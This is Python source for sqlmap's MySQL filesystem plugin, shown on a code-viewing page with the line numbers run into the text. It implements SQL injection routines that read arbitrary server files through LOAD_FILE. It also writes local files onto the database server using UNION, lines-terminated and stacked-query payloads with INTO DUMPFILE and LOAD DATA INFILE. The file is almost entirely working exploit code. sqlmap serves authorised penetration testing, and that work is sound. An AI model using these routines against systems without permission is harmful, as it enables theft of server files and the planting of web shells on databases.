Path: blob/master/plugins/dbms/mysql/filesystem.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67from lib.core.agent import agent8from lib.core.common import getSQLSnippet9from lib.core.common import isNumPosStrValue10from lib.core.common import isTechniqueAvailable11from lib.core.common import popValue12from lib.core.common import pushValue13from lib.core.common import randomStr14from lib.core.common import singleTimeWarnMessage15from lib.core.compat import xrange16from lib.core.data import conf17from lib.core.data import kb18from lib.core.data import logger19from lib.core.decorators import stackedmethod20from lib.core.enums import CHARSET_TYPE21from lib.core.enums import DBMS22from lib.core.enums import EXPECTED23from lib.core.enums import PAYLOAD24from lib.core.enums import PLACE25from lib.core.exception import SqlmapNoneDataException26from lib.request import inject27from lib.request.connect import Connect as Request28from lib.techniques.union.use import unionUse29from plugins.generic.filesystem import Filesystem as GenericFilesystem3031class Filesystem(GenericFilesystem):32def nonStackedReadFile(self, rFile):33if not kb.bruteMode:34infoMsg = "fetching file: '%s'" % rFile35logger.info(infoMsg)3637result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)3839return result4041def stackedReadFile(self, remoteFile):42if not kb.bruteMode:43infoMsg = "fetching file: '%s'" % remoteFile44logger.info(infoMsg)4546self.createSupportTbl(self.fileTblName, self.tblField, "longtext")47self.getRemoteTempPath()4849tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))5051debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile52debugMsg += "into temporary file '%s'" % tmpFile53logger.debug(debugMsg)54inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))5556debugMsg = "loading the content of hexadecimal encoded file "57debugMsg += "'%s' into support table" % remoteFile58logger.debug(debugMsg)59inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))6061length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)6263if not isNumPosStrValue(length):64warnMsg = "unable to retrieve the content of the "65warnMsg += "file '%s'" % remoteFile6667if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):68if not kb.bruteMode:69warnMsg += ", going to fall-back to simpler UNION technique"70logger.warning(warnMsg)71result = self.nonStackedReadFile(remoteFile)72else:73raise SqlmapNoneDataException(warnMsg)74else:75length = int(length)76chunkSize = 10247778if length > chunkSize:79result = []8081for i in xrange(1, length, chunkSize):82chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)83result.append(chunk)84else:85result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)8687return result8889@stackedmethod90def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):91logger.debug("encoding file to its hexadecimal string value")9293fcEncodedList = self.fileEncode(localFile, "hex", True)94fcEncodedStr = fcEncodedList[0]95fcEncodedStrLen = len(fcEncodedStr)9697if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:98warnMsg = "as the injection is on a GET parameter and the file "99warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen100warnMsg += "bytes, this might cause errors in the file "101warnMsg += "writing process"102logger.warning(warnMsg)103104debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)105logger.debug(debugMsg)106107pushValue(kb.forceWhere)108kb.forceWhere = PAYLOAD.WHERE.NEGATIVE109sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)110unionUse(sqlQuery, unpack=False)111kb.forceWhere = popValue()112113warnMsg = "expect junk characters inside the "114warnMsg += "file as a leftover from UNION query"115singleTimeWarnMessage(warnMsg)116117return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)118119def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):120logger.debug("encoding file to its hexadecimal string value")121122fcEncodedList = self.fileEncode(localFile, "hex", True)123fcEncodedStr = fcEncodedList[0][2:]124fcEncodedStrLen = len(fcEncodedStr)125126if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:127warnMsg = "the injection is on a GET parameter and the file "128warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen129warnMsg += "bytes, this might cause errors in the file "130warnMsg += "writing process"131logger.warning(warnMsg)132133debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)134logger.debug(debugMsg)135136query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)137query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)138payload = agent.payload(newValue=query)139Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)140141warnMsg = "expect junk characters inside the "142warnMsg += "file as a leftover from original query"143singleTimeWarnMessage(warnMsg)144145return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)146147def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):148debugMsg = "creating a support table to write the hexadecimal "149debugMsg += "encoded file to"150logger.debug(debugMsg)151152self.createSupportTbl(self.fileTblName, self.tblField, "longblob")153154logger.debug("encoding file to its hexadecimal string value")155fcEncodedList = self.fileEncode(localFile, "hex", False)156157debugMsg = "forging SQL statements to write the hexadecimal "158debugMsg += "encoded file to the support table"159logger.debug(debugMsg)160161sqlQueries = self.fileToSqlQueries(fcEncodedList)162163logger.debug("inserting the hexadecimal encoded file to the support table")164165inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)166167for sqlQuery in sqlQueries:168inject.goStacked(sqlQuery)169170debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)171logger.debug(debugMsg)172173# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html174inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)175176return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)177178179